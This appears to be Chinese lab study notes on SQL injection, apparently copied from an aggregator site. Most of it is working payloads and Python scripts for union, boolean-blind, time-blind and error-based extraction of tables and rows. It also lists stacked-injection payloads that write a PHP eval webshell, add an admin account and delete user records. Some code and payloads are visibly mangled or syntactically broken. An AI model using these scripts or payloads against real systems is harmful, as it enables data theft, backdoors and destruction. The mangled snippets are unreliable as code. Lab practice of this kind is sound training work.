当前位置: 首页 > news >正文

SQL注入漏洞

简单的注入

例题(联合注入)

1、看是什么注入类型
-1 and 1=1发现可以执行,说明是数字型注入
2、看有多少列
-1 order by 数字 一直测试多少才行
-1 order by 5报错,说明有四列
assets/SQL注入漏洞/file-20250729105201114.png
3、查询联合注入显示位
-1 union select 1,2,3,4查询,发现只有2,4显示出来,说明2,4是显示位
assets/SQL注入漏洞/file-20250729105341325.png
然后对数据库名查询
-1 union select 1,database(),3,4
assets/SQL注入漏洞/file-20250729105422338.png
对表名查询
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='ctf' #
group_concat指的是把所有内容显示在一行
assets/SQL注入漏洞/file-20250729105628470.png
对字段名查询
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag' and table_schema='ctf' #
assets/SQL注入漏洞/file-20250729105919778.png
对表中记录查询
-1 union select 1,id,3,flag from flag #
assets/SQL注入漏洞/file-20250729110042063.png

例题2 数字型注入

确定注入类型
assets/SQL注入漏洞/file-20250729110208468.png
确定列数量,这里是3列
assets/SQL注入漏洞/file-20250729110233321.png
2,3是显示点
assets/SQL注入漏洞/file-20250729110421257.png
开始啦
http://95743986763a.target.yijinglab.com/?id=-1 union select 1,database(),3 #&submit=%E6%9F%A5%E8%AF%A2
assets/SQL注入漏洞/file-20250729110457600.png
http://95743986763a.target.yijinglab.com/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #&submit=%E6%9F%A5%E8%AF%A2
assets/SQL注入漏洞/file-20250729110543638.png
http://95743986763a.target.yijinglab.com/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' and table_schema='sqli' #&submit=%E6%9F%A5%E8%AF%A2
assets/SQL注入漏洞/file-20250729110633771.png
http://95743986763a.target.yijinglab.com/?id=-1 union select 1,id,flag from flag #&submit=%E6%9F%A5%E8%AF%A2
assets/SQL注入漏洞/file-20250729110707923.png

例题3 字符型注入

输入-1 and 1 =1 显示wrong,说明不是数字型
输入-1' or 1=1 #显示内容,说明是字符型
开干
order by好像不行,直接用union select看有多少
http://2405192b739a.target.yijinglab.com/?id=-1' union select 1,2,3,4--+
assets/SQL注入漏洞/file-20250729111338016.png
http://2405192b739a.target.yijinglab.com/?id=-1' union select database(),2,3,4--+
assets/SQL注入漏洞/file-20250729111406318.png
http://2405192b739a.target.yijinglab.com/?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='sqli'--+
assets/SQL注入漏洞/file-20250729111701387.png
http://2405192b739a.target.yijinglab.com/?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag' and table_schema='sqli'--+
assets/SQL注入漏洞/file-20250729111744070.png
http://2405192b739a.target.yijinglab.com/?id=-1' union select 1,id,3,flag from flag--+
assets/SQL注入漏洞/file-20250729111821113.png

布尔盲注

布尔盲注主要就是猜,猜数据库名,数据库⻓度,字段名,字段⻓度之类的,主要步骤如下

  1. 判断是否存在注入
  2. 获取数据库长度
  3. 逐字猜解数据库名
  4. 猜解表名数量
  5. 猜解某个表名长度
  6. 逐字猜解表名
  7. 猜解列名数量
  8. 猜解某个列名长度
  9. 逐字猜解列名
  10. 判断数据数量
  11. 猜解某条数据长度
  12. 逐位猜解数据
    判断:-1 or 1=1 #
    首先判断database()的长度id=-1 or length(database())>数字 #
    这里长度就是18
    assets/SQL注入漏洞/file-20250729141512386.png
    assets/SQL注入漏洞/file-20250729141523736.png
    随后要获得database是什么
    -1 or ascii(substr(database(),1,1))=65就行
    一个一个截取字符看是否对应
    那肯定要用脚本了
import requestsfor i in range(1,16,1):for j in range(32,150):url="http://94cf85ac5967.target.yijinglab.com/boolean-blind.php?id=-1 or ascii(substr(database(),%d, 1))=%d -- +" % (i, j)res=requests.get(url=url)if“产品存在"in res.text:print(chr(j))a = a + chr(j)break
print("数据库名是"+a)

assets/SQL注入漏洞/file-20250729142259832.png
获取数据库中表的个数

-1 or (select count(table_name) from information_schema.tables where table_schema='sql_injection_demo') = 2

脚本

import requests  
for i in range(10):  url="http://d99236ac344d.target.yijinglab.com/boolean-blind.php?id=-1 or (select count(table_name) from information_schema.tables where table_schema='sql_injection_demo') = %d -- +" %(i)  res=requests.get(url)  if "产品存在" in res.text:  print("表的数量是"+str(i))  else:  pass

获取表长

import requests  
for j in range(2):  for i in range(20):  url="http://d99236ac344d.target.yijinglab.com/boolean-blind.php?id=-1 or (select length(table_name) from information_schema.tables where table_schema='sql_injection_demo' limit %d,1)=%d -- +" %(j,i)  res=requests.get(url)  if "产品存在" in res.text:  print("第"+str(j+1)+"张表的长度是"+str(i))  break  else:  pass

获取表名

import requests  
a=''  
for i in range(1,8,1):  for j in range(32,150):  url="http://d99236ac344d.target.yijinglab.com/boolean-blind.php?id=-1 or ascii(substr((select table_name from information_schema.tables where table_schema='sql_injection_demo' limit 0,1),%d,1))=%d -- +" %(i,j)  #print(url)  res=requests.get(url)  if "产品存在" in res.text:  print(chr(j))  a=a+chr(j)  break  
print("第一个表名是"+a)

时间盲注

根据响应时间判断
脚本

import requests  
import time  
import string  url = "http://803ebfafce23.target.yijinglab.com//time-based-blind.php"  # <-- 替换为你的目标  
param_name = "id"  
delay = 5  
threshold = 4  
max_len = 30  
extract_count = 5  # 默认获取前5条数据  
headers = {  "User-Agent": "Mozilla/5.0"  
}  def send_payload(payload):  params = {param_name: payload}  start = time.time()  try:  r = requests.get(url, params=params, headers=headers, timeout=delay + 2)  elapsed = time.time() - start  except requests.exceptions.ReadTimeout:  elapsed = delay + 1  return elapsed > threshold  def extract_string(sql_query, max_length=100):  result = ""  safe_charset = ''.join(c for c in string.printable if c not in ['\r', '\n', '\t', '%', '\\', '"', "'"])  for i in range(1, max_length + 1):  found = False  for c in safe_charset:  ascii_val = ord(c)  # 注意:sql注入中字符要避免被截断或影响语法  payload = f"1 AND IF(ASCII(SUBSTRING(({sql_query}),{i},1))={ascii_val},SLEEP({delay}),0)"  if send_payload(payload):  result += c  print(f"  [*] 第 {i} 位字符: {c}")  found = True  break        if not found:  break  return result  def get_table_names():  print("\n========== 枚举所有表名 ==========")  tables = []  index = 0  while True:  index += 1  subquery = f"SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {index-1},1"  table_name = extract_string(subquery)  if not table_name:  break  tables.append(table_name)  print(f"[+] 发现表: {table_name}")  return tables  def get_column_names(table):  print(f"\n========== 表 `{table}` 的字段 ==========")  columns = []  index = 0  while True:  index += 1  subquery = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' AND table_schema=database() LIMIT {index-1},1"  column_name = extract_string(subquery)  if not column_name:  break  columns.append(column_name)  print(f"[+] 字段: {column_name}")  return columns  def get_column_data(table, column, row_limit=extract_count):  print(f"\n========== 表 `{table}` 字段 `{column}` 的前 {row_limit} 行数据 ==========")  for i in range(row_limit):  subquery = f"SELECT {column} FROM {table} LIMIT {i},1"  value = extract_string(subquery)  if value:  print(f"[{i+1}] {value}")  else:  print(f"[{i+1}] (空或提取失败)")  # -------------------------------  
# 主流程  
# -------------------------------  
if __name__ == "__main__":  tables = get_table_names()  if not tables:  print("[-] 没有发现表。可能不存在盲注。")  exit()  print("\n========== 所有表名 ==========")  for i, t in enumerate(tables):  print(f"{i+1}. {t}")  table = input("\n请输入要查看字段的表名:").strip()  if table not in tables:  print("[-] 表名无效。")  exit()  columns = get_column_names(table)  if not columns:  print("[-] 表中没有字段。")  exit()  print("\n========== 所有字段 ==========")  for i, col in enumerate(columns):  print(f"{i+1}. {col}")  column = input("\n请输入要提取数据的字段名:").strip()  if column not in columns:  print("[-] 字段名无效。")  exit()  get_column_data(table, column)

报错注入

可以把正确的信息携带在报错的信息中

12种报错注入函数

1、通过floor报错,注入语句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过extractvalue报错,注入语句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通过updatexml报错,注入语句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

查别的就把user()改成database()
脚本

import requests  
import time  
from requests.exceptions import RequestException  # 配置参数 - 可直接修改  
config = {  "url": "http://6af4ef6e25bf.target.yijinglab.com/numeric-error-based.php",  "param_name": "user_id",  "error_indicator": "XPATH syntax error",  # 错误标识字符串  "delimiter": "~",  # 数据分隔符(对应0x7e)  "max_retries": 3,  # 失败重试次数  "delay": 1,  # 请求间隔(秒)  "headers": {  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"  }  
}  def send_payload(query):  """发送注入payload并返回提取的信息"""  # 构造报错注入payload  delimiter_hex = "0x7e"  # ~的十六进制表示  payload = f"-1 and (extractvalue(1,concat({delimiter_hex},({query}),{delimiter_hex}))); #"  params = {config["param_name"]: payload}  for attempt in range(config["max_retries"]):  try:  response = requests.get(  config["url"],  params=params,  headers=config["headers"],  timeout=10  )  # 检查是否包含错误标识  if config["error_indicator"] in response.text:  # 提取分隔符之间的内容  start = response.text.find(config["delimiter"]) + 1  end = response.text.rfind(config["delimiter"])  if start < end:  return response.text[start:end].strip()  return None  except RequestException as e:  print(f"[!] 请求失败 (尝试 {attempt + 1}/{config['max_retries']}): {str(e)}")  if attempt < config["max_retries"] - 1:  time.sleep(2)  return None  def get_database_info():  """获取数据库基本信息"""  print("\n========== 数据库基本信息 ==========")  info = {}  # 获取当前数据库名  info["database"] = send_payload("select database()")  print(f"[+] 当前数据库: {info['database'] or '未获取到'}")  # 获取当前用户  info["user"] = send_payload("select user()")  print(f"[+] 当前用户: {info['user'] or '未获取到'}")  # 获取数据库版本  info["version"] = send_payload("select version()")  print(f"[+] 数据库版本: {info['version'] or '未获取到'}")  return info  def get_table_names(db_name):  """枚举数据库中的所有表名"""  print("\n========== 枚举所有表名 ==========")  tables = []  index = 0  while True:  index += 1  query = f"select table_name from information_schema.tables where table_schema='{db_name}' limit {index - 1},1"  table_name = send_payload(query)  if not table_name or table_name in tables:  break  tables.append(table_name)  print(f"[+] 发现表 {index}: {table_name}")  time.sleep(config["delay"])  return tables  def get_column_names(table):  """枚举指定表的所有字段名"""  print(f"\n========== 表 `{table}` 的字段 ==========")  columns = []  index = 0  while True:  index += 1  query = f"select column_name from information_schema.columns where table_name='{table}' and table_schema=database() limit {index - 1},1"  column_name = send_payload(query)  if not column_name or column_name in columns:  break  columns.append(column_name)  print(f"[+] 发现字段 {index}: {column_name}")  time.sleep(config["delay"])  return columns  def get_column_data(table, column, row_limit=5):  """提取指定表和字段的数据"""  print(f"\n========== 表 `{table}` 字段 `{column}` 的前 {row_limit} 行数据 ==========")  for i in range(row_limit):  query = f"select {column} from {table} limit {i},1"  value = send_payload(query)  if value:  # 处理长字符串(extractvalue有长度限制)  if len(value) >= 32:  print(f"[{i + 1}] {value} (可能被截断)")  else:  print(f"[{i + 1}] {value}")  else:  print(f"[{i + 1}] (空或提取失败)")  time.sleep(config["delay"])  # 主流程  
if __name__ == "__main__":  # 获取基本信息  db_info = get_database_info()  if not db_info["database"]:  print("[-] 无法获取数据库信息,可能注入点已失效或配置错误")  exit()  # 枚举表名  tables = get_table_names(db_info["database"])  if not tables:  print("[-] 没有发现表")  exit()  # 显示所有表并让用户选择  print("\n========== 所有表名 ==========")  for i, t in enumerate(tables):  print(f"{i + 1}. {t}")  try:  table_index = int(input("\n请输入要查看字段的表序号: ")) - 1  if table_index < 0 or table_index >= len(tables):  raise ValueError  target_table = tables[table_index]  except ValueError:  print("[-] 无效的表序号")  exit()  # 枚举字段名  columns = get_column_names(target_table)  if not columns:  print("[-] 表中没有发现字段")  exit()  # 显示所有字段并让用户选择  print("\n========== 所有字段 ==========")  for i, col in enumerate(columns):  print(f"{i + 1}. {col}")  try:  col_index = int(input("\n请输入要提取数据的字段序号: ")) - 1  if col_index < 0 or col_index >= len(columns):  raise ValueError  target_column = columns[col_index]  except ValueError:  print("[-] 无效的字段序号")  exit()  # 提取数据  get_column_data(target_table, target_column)  print("\n[*] 数据提取完成")

宽字节注入

宽字节注入是一种针对使用宽字节编码(如GBK、GB2312等)的Web应用程序的SQL注入
攻击方式,其核心原理是利用宽字节编码的特性绕过应用程序对单引号(')等特殊字符的转义处
理,从而注入恶意SQL语句。

假设后台有一条SQL语句,原本是这样的:
select * from users where id='用户输入的id值';

正常情况下,用户输入1,SQL就是select * from users where id='1';(没问题)。

场景1:用户输入单引号·,触发转义

如果用户输入‘,应用为了防止注入,会自动在单引号前加反斜杠,把,变成\’(转义)。
此时SQL变成:select * from users where id =''';
这里的\‘被当作一个普通的“转义后的单引号”,不会闭合前面的,,所以SQL语法正常,无法
注入。

场景2:宽字节注入如何“吃掉”反斜杠?

攻击者想让单引号,恢复原样,就需要“干掉”那个转义用的反斜杠\。
反斜杠的ASCII码是0x5C(十六进制),而GBK编码中,0xBF+0x5C 会组成一个合法的汉字“縗”(GBK编码表中0xBF5C对应“縗”)。

攻击方式如下

在单引号前加一个0xBF(URL编码是%BF),输入变成%BF'(即0xBF+')。

此时应用会先对单引号转义,把,变成\’(0x5C+0x27),所以整个输入变成:
0xBF + 0x5C+ 0x27(即%BF\%27)。
由于数据库用GBK编码,会把0xBF5C识别为汉字“縗”,剩下的0x27(单引号)就单独存在了!
此时SQL 语句变成:
select * from users where id = 'xxx' ...
这里的单引号‘成功闭合了前面的‘,后面就可以接恶意SQL语句了(比如union select)。

堆叠注入

堆叠注入(Stacked Injections)是一种SQL注入技术,其核心原理是利用数据库支持多语句执行的特性,在一个SQL查询中同时执行多条SQL语句,从而突破单语句限制,执行额外的恶意操作。

常见攻击payload示例:

  1. 查询数据:
    1'; SELECT username, password FROM admin;--
  1. 写入文件(MySQL):
    1'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php';--
  1. 创建管理员账号:
    1'; INSERT INTO admin(username, password) VALUES('hacker','123456');--
  1. 删除数据:
    1'; DELETE FROM users WHERE role='user';
http://www.vanclimg.com/news/1874.html

相关文章:

  • MX galaxy Day16
  • 30天总结-第二十八天
  • 金华の第二场模拟赛
  • [Unity] 项目的一些系统架构思想
  • 多github账号的仓库配置
  • Project 2024 专业增强版安装激活步骤(附安装包)2025最新详细教程
  • MX galaxy Day15
  • Plant Com | 将基因编辑与组学、人工智能和先进农业技术相结合以提高作物产量
  • PhenoAssistant:一个用于自动植物表型分析的人工智能系统
  • 在Docker中,可以在一个容器中同时运行多个应用进程吗?
  • Computomics:利用先进的机器学习实现预测性植物育种
  • 在运维工作中,Docker 与 Kvm 有何区别?
  • 利用分子与数量遗传学最大化作物改良的遗传增益
  • 在运维工作中,详细说一下 Docker 有什么作用?
  • 7.29总结
  • busybox的编译简介
  • 基因组辅助作物改良
  • 洛谷题解:P1514 [NOIP 2010 提高组] 引水入城
  • 如何利用机器学习构建种质资源/品种分子鉴定系统?
  • 科学通报 | 万向元:生物育种技术助力作物杂种优势利用
  • 7-29
  • DP 优化 - 决策单调性与四边形不等式优化
  • 科学通报 | 大豆杂种优势利用的挑战与创新路径
  • 整合多组学先验信息来提升肉牛基因组预测的准确性
  • windows下的/data目录
  • 2025/7/29 总结
  • gComm 综述:大数据驱动的水稻群体基因组学研究
  • 基于遗传标记的连锁作图(QTL定位)群体
  • 软工作业day28
  • 22天